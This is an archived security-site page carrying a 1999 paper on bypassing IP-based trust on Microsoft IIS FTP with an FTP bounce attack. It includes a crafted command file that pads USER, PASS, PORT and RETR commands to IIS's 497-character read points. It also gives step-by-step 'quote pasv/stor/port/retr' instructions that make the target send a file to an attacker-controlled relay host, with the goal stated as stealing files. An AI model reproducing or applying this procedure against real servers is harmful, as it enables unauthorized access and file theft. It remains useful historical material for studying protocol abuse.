exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ftpbounce-attack.htm

ftpbounce-attack.htm
Posted Aug 17, 1999

How to use the FTP bounce attack method of scanning through Microsoft's FTP service.

SHA-256 | 443727879f3708526d7b5cb7c57607462bc8b7c3cd4e36c7c89d43a29d6c1cfe

ftpbounce-attack.htm

Change Mirror Download
<HTML>
<HEAD>
<TITLE>The Microsoft ftp service, as provided for by Internet Information Server can be configured to allow connections from only certain (“trusted”) IP addresses</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" LINK="#0000ff">

<FONT SIZE=2><P>&nbsp;</P>
<P>&nbsp;</P>
<P>The Microsoft ftp service, as provided for by Internet Information Server can be configured to allow connections from only certain ("trusted") IP addresses. This paper describes how this security arrangement could be by-passed depending on th
e configuration of the remote network. This is based on a <A HREF="http://www.tiac.net/users/steveg/texts/ftpBounceAttack.txt">"bounce" attack</A> but it is important to note that the target ftp server does not have to have the registry setting
"EnablePortAttack" set to 1; in other words the server doesn’t have to be configured to allow an ftp bounce attack. You do, however, need one ftp server that you run the bounce attack from. This server has to be included in the range of trusted
IP addresses. This will most likely be an unpatched UNIX server on the same subnet as your target IIS server.</P>
<P>&nbsp;</P>
<P>Basically you are using this server as a platform to log into the IIS server and steal what files you can. The login process and other commands are contained in a file called cmds.txt and are sent to the IIS server using the ftp bounce attack. When a l
ogin occurs this way, because of buffering the ftp service on IIS will read (or at least look for) a command every 497 characters after the first character of each command. So cmds.txt will begin with "user anonymous". 497 characters after the ‘
u’ of user IIS will read the next command. These characters can be garbage.</P>
<P>&nbsp;</P>
<P>USER ANONYMOUS</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz1</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz2</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz3</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz4</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz5</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz6</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz7</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz8</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz9</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz0</P>
<P>1234567890abcdefghijklmnopqrstuvwxyzA</P>
<P>1234567890abcdefghijklmnopqrstuvwxyzB</P>
<P>1234567890abcdefghijklmnopqPASS A@HERE</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz1</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz2</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz3</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz4</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz5</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz6</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz7</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz8</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz9</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz0</P>
<P>1234567890abcdefghijklmnopqrstuvwxyzA</P>
<P>1234567890abcdefghijklmnopqrstuvwxyzB</P>
<P>1234567890abcdefghijklmnopqrstPORT 194,126,80,119,105,34</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz1</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz2</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz3</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz4</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz5</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz6</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz7</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz8</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz9</P>
<P>1234567890abcdefghijklmnopqrstuvwxyz0</P>
<P>1234567890abcdefghijklmnopqrstuvwxyzA</P>
<P>1234567890abcdefghijklmnopqrstuvwxyzB</P>
<P>1234567890abcdvRETR FILE.TXT</P>
<P>1234567890-----<FONT FACE="Wingdings">à</FONT>
more garbage</P>
<P>&nbsp;</P>
<P>I have put the commands in upper case here so they stand out.</P>
<P>&nbsp;</P>
<P>So here’s how the attack would go :</P>
<P>Scenario:</P>
<P>HostA is a UNIX running an ftp service that has not been patched against bounce attacks. You can log into this server anonymously and have write permissions on at least one directory. HostA’s IP address is 123.123.123.120</P>
<P>&nbsp;</P>
<P>HostB is an NT server running IIS and allows anonymous connections but only from IP addresses of the same subnet range eg 123.123.123.1 to 123.123.123.254. HostB has the IP address 123.123.123.123.</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<OL>

<LI>Connect to Host A, login and change to a directory where you have write permission.</LI>
<LI>Issue the command "quote pasv". The server will respond saying it is going into passive mode. Note the address and the port (ADD,ADD,ADD,ADD,PORT,PORT). Enter this value into your cmds.txt file and save it. Then issue the command "quote
stor file.txt". The session will appear to hang. In actual fact it is waiting patiently for someone to connected to its port and send it file.txt.</LI>
<LI>Open another session with Host A. Change to the same directory and upload cmds.txt.</LI>
<LI>Now issue the command "quote port 123,123,123,123,0,21". This primes a connection to the target IIS server.</LI>
<LI>Issue the command "quote retr cmds.txt". This causes HostA to make a connection to HostB and after the 3-way TCP handshake the contents of cmds.txt are transferred to HostB. HostB reads the first command USER anonymous. It will reply saying,
"Anonymous access allowed, send identity (e-mail name) as password." But not that you’ll see this. This message is directed at HostB’s TCP port 20 (ftpdata). 497 characters after the letter ‘U’ of user the IIS server will read the next command
"PASS </FONT><A HREF="mailto:a@here""><FONT SIZE=2>a@here"</FONT></A><FONT SIZE=2>. It will reply "user anonymous logged in". Our next command (497 characters after the ‘P’ of PASS) is PORT ADD,ADD,ADD,ADD,PORT,PORT. Note – This d
oes not go against the IIS ftp service’s built in security mechanism that disallows a PORT command if a different IP address to the clients is used. This will then set up a connection to the waiting port on Host A that we set up in step 1. Using the comma
nd "RETR file.txt" will then cause HostB to send file.txt down to HostA and thus you have by-passed the security setup.</LI></OL>
</FONT>
</BODY>
</HTML>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close